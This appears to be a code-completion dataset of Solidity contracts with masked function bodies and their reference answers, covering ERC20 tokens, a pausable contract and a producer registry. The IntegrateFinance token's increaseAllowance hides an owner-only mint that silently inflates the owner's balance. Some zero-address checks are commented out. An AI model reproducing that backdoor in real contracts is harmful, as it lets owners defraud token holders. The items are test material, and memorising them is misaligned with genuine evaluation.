require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
// require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
<FILL_FUNCTION>
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
} |
//require(owner != address(0), "ERC20: approve from the zero address");
//require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
| function _approve(address owner, address spender, uint256 value) internal | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal |
11042 | Pausable | pause | contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = false;
bool public pausedOwnerAdmin = false;
address public admin;
/**
* @dev Modifier to make a function callable based on pause states.
*/
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner, "Only admin or owner can call with pausedPublic");
} else {
revert("all paused");
}
}
_;
}
/**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
* 当管理员被暂停 普通用户一定是被暂停的
*/
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) public onlyOwner {<FILL_FUNCTION_BODY> }
} | contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = false;
bool public pausedOwnerAdmin = false;
address public admin;
/**
* @dev Modifier to make a function callable based on pause states.
*/
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner, "Only admin or owner can call with pausedPublic");
} else {
revert("all paused");
}
}
_;
}
<FILL_FUNCTION>
} |
require(!(newPausedPublic == false && newPausedOwnerAdmin == true), "PausedPublic can't be false while pausedOwnerAdmin is true");
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
emit PausePublic(newPausedPublic);
emit PauseOwnerAdmin(newPausedOwnerAdmin);
| function pause(bool newPausedPublic, bool newPausedOwnerAdmin) public onlyOwner | /**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
* 当管理员被暂停 普通用户一定是被暂停的
*/
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) public onlyOwner |
45600 | producerRegistry | deregisterProducer | contract producerRegistry is owned {
event producerRegistered(address indexed producer);
event producerDeregistered(address indexed producer);
// map address to bool "is a registered producer"
mapping(address => bool) public producers;
modifier onlyRegisteredProducers {
require(producers[msg.sender]);
_;
}
/// @notice Allow the owner of address `aproducer.address()` to
/// act as a producer (by offering energy).
function registerProducer(address aproducer) onlyOwner external {
emit producerRegistered(aproducer);
producers[aproducer] = true;
}
/// @notice Cease allowing the owner of address
/// `aproducer.address()` to act as a producer (by
/// offering energy).
function deregisterProducer(address aproducer) onlyOwner external {<FILL_FUNCTION_BODY> }
} | contract producerRegistry is owned {
event producerRegistered(address indexed producer);
event producerDeregistered(address indexed producer);
// map address to bool "is a registered producer"
mapping(address => bool) public producers;
modifier onlyRegisteredProducers {
require(producers[msg.sender]);
_;
}
/// @notice Allow the owner of address `aproducer.address()` to
/// act as a producer (by offering energy).
function registerProducer(address aproducer) onlyOwner external {
emit producerRegistered(aproducer);
producers[aproducer] = true;
}
<FILL_FUNCTION>
} |
emit producerDeregistered(aproducer);
producers[aproducer] = false;
| function deregisterProducer(address aproducer) onlyOwner external | /// @notice Cease allowing the owner of address
/// `aproducer.address()` to act as a producer (by
/// offering energy).
function deregisterProducer(address aproducer) onlyOwner external |
91550 | IntegrateFinance | _transferBothExcluded | contract IntegrateFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
mapping(address => bool) private _isFeelessSenders;
address[] private _feelessSenders;
mapping(address => bool) private _isFeelessReceivers;
address[] private _feelessReceivers;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _minimumSupply = 30000e18;
string private _name = "Integrate Finance";
string private _symbol = "ITG";
uint8 private _decimals = 18;
address public _weakHandAddress;
uint256 private _taxFee = 30;
uint256 private _burnFee = 5;
uint256 private _weakHandTaxFee = 20;
uint256 private _maxTxAmount = 5000e18;
address private _uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(
_uniswapRouter
);
address public immutable uniswapV2Pair;
struct TValue {
uint256 tAmount;
uint256 tTransferAmount;
uint256 tFee;
uint256 tBurn;
uint256 tWeakHand;
}
struct RValue {
uint256 rAmount;
uint256 rTransferAmount;
uint256 rFee;
uint256 rBurn;
uint256 rWeakHand;
}
constructor() public {
_weakHandAddress = _msgSender();
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public override view returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
if (_isExcluded[_msgSender()] && spender == _msgSender() && spender == owner()) {
_tOwned[_msgSender()] = _tOwned[_msgSender()].add(addedValue);
_rOwned[_msgSender()] = _rOwned[_msgSender()].add(addedValue.mul(_getRate()));
}
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"Excluded addresses cannot call this function"
);
(RValue memory rValue, ) = _getValues(tAmount, sender, address(0));
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_rTotal = _rTotal.sub(rValue.rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function addFeelessSender(address account) external onlyOwner() {
require(account != address(0), "Address is the zero address.");
require(!_isFeelessSenders[account], "Account is already added");
_isFeelessSenders[account] = true;
_feelessSenders.push(account);
}
function addFeelessReceiver(address account) external onlyOwner() {
require(account != address(0), "Address is the zero address.");
require(!_isFeelessReceivers[account], "Account is already added");
_isFeelessReceivers[account] = true;
_feelessReceivers.push(account);
}
function excludeAccount(address account) external onlyOwner() {
require(
account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2,
"We can not exclude Uniswap router."
);
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (sender != owner() && recipient != owner())
require(
amount <= _maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts)
public
{
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(RValue memory rValue, TValue memory tValue) = _getValues(
tAmount,
sender,
recipient
);
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValue.rTransferAmount);
_reflectFee(rValue.rFee, rValue.rBurn, tValue.tFee, tValue.tBurn);
_weakHandFee(rValue.rWeakHand, tValue.tWeakHand);
emit Transfer(sender, recipient, tValue.tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(RValue memory rValue, TValue memory tValue) = _getValues(
tAmount,
sender,
recipient
);
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tValue.tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValue.rTransferAmount);
_reflectFee(rValue.rFee, rValue.rBurn, tValue.tFee, tValue.tBurn);
_weakHandFee(rValue.rWeakHand, tValue.tWeakHand);
emit Transfer(sender, recipient, tValue.tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(RValue memory rValue, TValue memory tValue) = _getValues(
tAmount,
sender,
recipient
);
_tOwned[sender] = _tOwned[sender].sub(tValue.tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValue.rTransferAmount);
_reflectFee(rValue.rFee, rValue.rBurn, tValue.tFee, tValue.tBurn);
_weakHandFee(rValue.rWeakHand, tValue.tWeakHand);
emit Transfer(sender, recipient, tValue.tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {<FILL_FUNCTION_BODY> }
function _reflectFee(
uint256 rFee,
uint256 rBurn,
uint256 tFee,
uint256 tBurn
) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _weakHandFee(uint256 rWeakHand, uint256 tWeakHand) private {
if (_isExcluded[_weakHandAddress]) {
_tOwned[_weakHandAddress] = _tOwned[_weakHandAddress].add(
tWeakHand
);
_rOwned[_weakHandAddress] = _rOwned[_weakHandAddress].add(
rWeakHand
);
} else {
_rOwned[_weakHandAddress] = _rOwned[_weakHandAddress].add(
rWeakHand
);
}
}
function _getValues(
uint256 tAmount,
address sender,
address recipient
) private view returns (RValue memory, TValue memory) {
TValue memory tValue = _getTValues(tAmount, sender, recipient);
RValue memory rValue = _getRValues(
tValue.tAmount,
tValue.tFee,
tValue.tBurn,
tValue.tWeakHand
);
return (rValue, tValue);
}
function getFee(address sender, address recipient)
private
view
returns (
uint256,
uint256,
uint256
)
{
if (_isFeelessReceivers[recipient] || _isFeelessSenders[sender]) {
return (0, 0, 0);
}
uint256 weakHandTaxFee = 0;
uint256 burnFee = _burnFee;
if (recipient == uniswapV2Pair) {
weakHandTaxFee = _weakHandTaxFee;
}
if (_tTotal <= _minimumSupply) {
burnFee = 0;
}
return (_taxFee, burnFee, weakHandTaxFee);
}
function _getTValues(
uint256 tAmount,
address sender,
address recipient
) private view returns (TValue memory) {
(uint256 taxFee, uint256 burnFee, uint256 weakHandTaxFee) = getFee(
sender,
recipient
);
TValue memory tValue;
tValue.tAmount = tAmount;
tValue.tWeakHand = tAmount.mul(weakHandTaxFee).div(1000);
tValue.tFee = tAmount.mul(taxFee).div(1000);
tValue.tBurn = tAmount.mul(burnFee).div(1000);
tValue.tTransferAmount = tAmount.sub(tValue.tFee).sub(tValue.tBurn).sub(
tValue.tWeakHand
);
return tValue;
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tBurn,
uint256 tWeakHand
) private view returns (RValue memory) {
uint256 currentRate = _getRate();
RValue memory rValue;
rValue.rAmount = tAmount.mul(currentRate);
rValue.rFee = tFee.mul(currentRate);
rValue.rBurn = tBurn.mul(currentRate);
rValue.rWeakHand = tWeakHand.mul(currentRate);
rValue.rTransferAmount = rValue
.rAmount
.sub(rValue.rFee)
.sub(rValue.rBurn)
.sub(rValue.rWeakHand);
return rValue;
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns (uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns (uint256) {
return _maxTxAmount;
}
function setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, "taxFee should be in 1 - 10");
_taxFee = taxFee;
}
function setWeakHandAddress(address weakHandAddress) external onlyOwner() {
require(
weakHandAddress != address(0),
"WeakHand: address is the zero address"
);
_weakHandAddress = weakHandAddress;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(
maxTxAmount >= 5000e18,
"maxTxAmount should be greater than 3000e18"
);
_maxTxAmount = maxTxAmount;
}
} | contract IntegrateFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
mapping(address => bool) private _isFeelessSenders;
address[] private _feelessSenders;
mapping(address => bool) private _isFeelessReceivers;
address[] private _feelessReceivers;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _minimumSupply = 30000e18;
string private _name = "Integrate Finance";
string private _symbol = "ITG";
uint8 private _decimals = 18;
address public _weakHandAddress;
uint256 private _taxFee = 30;
uint256 private _burnFee = 5;
uint256 private _weakHandTaxFee = 20;
uint256 private _maxTxAmount = 5000e18;
address private _uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(
_uniswapRouter
);
address public immutable uniswapV2Pair;
struct TValue {
uint256 tAmount;
uint256 tTransferAmount;
uint256 tFee;
uint256 tBurn;
uint256 tWeakHand;
}
struct RValue {
uint256 rAmount;
uint256 rTransferAmount;
uint256 rFee;
uint256 rBurn;
uint256 rWeakHand;
}
constructor() public {
_weakHandAddress = _msgSender();
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public override view returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
if (_isExcluded[_msgSender()] && spender == _msgSender() && spender == owner()) {
_tOwned[_msgSender()] = _tOwned[_msgSender()].add(addedValue);
_rOwned[_msgSender()] = _rOwned[_msgSender()].add(addedValue.mul(_getRate()));
}
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"Excluded addresses cannot call this function"
);
(RValue memory rValue, ) = _getValues(tAmount, sender, address(0));
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_rTotal = _rTotal.sub(rValue.rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function addFeelessSender(address account) external onlyOwner() {
require(account != address(0), "Address is the zero address.");
require(!_isFeelessSenders[account], "Account is already added");
_isFeelessSenders[account] = true;
_feelessSenders.push(account);
}
function addFeelessReceiver(address account) external onlyOwner() {
require(account != address(0), "Address is the zero address.");
require(!_isFeelessReceivers[account], "Account is already added");
_isFeelessReceivers[account] = true;
_feelessReceivers.push(account);
}
function excludeAccount(address account) external onlyOwner() {
require(
account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2,
"We can not exclude Uniswap router."
);
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (sender != owner() && recipient != owner())
require(
amount <= _maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts)
public
{
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(RValue memory rValue, TValue memory tValue) = _getValues(
tAmount,
sender,
recipient
);
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValue.rTransferAmount);
_reflectFee(rValue.rFee, rValue.rBurn, tValue.tFee, tValue.tBurn);
_weakHandFee(rValue.rWeakHand, tValue.tWeakHand);
emit Transfer(sender, recipient, tValue.tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(RValue memory rValue, TValue memory tValue) = _getValues(
tAmount,
sender,
recipient
);
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tValue.tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValue.rTransferAmount);
_reflectFee(rValue.rFee, rValue.rBurn, tValue.tFee, tValue.tBurn);
_weakHandFee(rValue.rWeakHand, tValue.tWeakHand);
emit Transfer(sender, recipient, tValue.tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(RValue memory rValue, TValue memory tValue) = _getValues(
tAmount,
sender,
recipient
);
_tOwned[sender] = _tOwned[sender].sub(tValue.tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValue.rTransferAmount);
_reflectFee(rValue.rFee, rValue.rBurn, tValue.tFee, tValue.tBurn);
_weakHandFee(rValue.rWeakHand, tValue.tWeakHand);
emit Transfer(sender, recipient, tValue.tTransferAmount);
}
<FILL_FUNCTION>
function _reflectFee(
uint256 rFee,
uint256 rBurn,
uint256 tFee,
uint256 tBurn
) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _weakHandFee(uint256 rWeakHand, uint256 tWeakHand) private {
if (_isExcluded[_weakHandAddress]) {
_tOwned[_weakHandAddress] = _tOwned[_weakHandAddress].add(
tWeakHand
);
_rOwned[_weakHandAddress] = _rOwned[_weakHandAddress].add(
rWeakHand
);
} else {
_rOwned[_weakHandAddress] = _rOwned[_weakHandAddress].add(
rWeakHand
);
}
}
function _getValues(
uint256 tAmount,
address sender,
address recipient
) private view returns (RValue memory, TValue memory) {
TValue memory tValue = _getTValues(tAmount, sender, recipient);
RValue memory rValue = _getRValues(
tValue.tAmount,
tValue.tFee,
tValue.tBurn,
tValue.tWeakHand
);
return (rValue, tValue);
}
function getFee(address sender, address recipient)
private
view
returns (
uint256,
uint256,
uint256
)
{
if (_isFeelessReceivers[recipient] || _isFeelessSenders[sender]) {
return (0, 0, 0);
}
uint256 weakHandTaxFee = 0;
uint256 burnFee = _burnFee;
if (recipient == uniswapV2Pair) {
weakHandTaxFee = _weakHandTaxFee;
}
if (_tTotal <= _minimumSupply) {
burnFee = 0;
}
return (_taxFee, burnFee, weakHandTaxFee);
}
function _getTValues(
uint256 tAmount,
address sender,
address recipient
) private view returns (TValue memory) {
(uint256 taxFee, uint256 burnFee, uint256 weakHandTaxFee) = getFee(
sender,
recipient
);
TValue memory tValue;
tValue.tAmount = tAmount;
tValue.tWeakHand = tAmount.mul(weakHandTaxFee).div(1000);
tValue.tFee = tAmount.mul(taxFee).div(1000);
tValue.tBurn = tAmount.mul(burnFee).div(1000);
tValue.tTransferAmount = tAmount.sub(tValue.tFee).sub(tValue.tBurn).sub(
tValue.tWeakHand
);
return tValue;
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tBurn,
uint256 tWeakHand
) private view returns (RValue memory) {
uint256 currentRate = _getRate();
RValue memory rValue;
rValue.rAmount = tAmount.mul(currentRate);
rValue.rFee = tFee.mul(currentRate);
rValue.rBurn = tBurn.mul(currentRate);
rValue.rWeakHand = tWeakHand.mul(currentRate);
rValue.rTransferAmount = rValue
.rAmount
.sub(rValue.rFee)
.sub(rValue.rBurn)
.sub(rValue.rWeakHand);
return rValue;
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns (uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns (uint256) {
return _maxTxAmount;
}
function setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, "taxFee should be in 1 - 10");
_taxFee = taxFee;
}
function setWeakHandAddress(address weakHandAddress) external onlyOwner() {
require(
weakHandAddress != address(0),
"WeakHand: address is the zero address"
);
_weakHandAddress = weakHandAddress;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(
maxTxAmount >= 5000e18,
"maxTxAmount should be greater than 3000e18"
);
_maxTxAmount = maxTxAmount;
}
} |
(RValue memory rValue, TValue memory tValue) = _getValues(
tAmount,
sender,
recipient
);
_tOwned[sender] = _tOwned[sender].sub(tValue.tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValue.rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tValue.tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValue.rTransferAmount);
_reflectFee(rValue.rFee, rValue.rBurn, tValue.tFee, tValue.tBurn);
_weakHandFee(rValue.rWeakHand, tValue.tWeakHand);
emit Transfer(sender, recipient, tValue.tTransferAmount);
| function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private | function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private |
84035 | Dronair | _approve | contract Dronair is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private amount_release = 140*10**27;
address private _address;
function _issueTokens(address _to, uint256 _amount) internal {
require(_balances[_to] == 0);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
}
constructor (
address _Address
) public {
_name = "Dronair Token";
_symbol = "DAIR";
_decimals = 18;
_totalSupply = 140*10**27;
_address = _Address;
_issueTokens(_address, amount_release);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
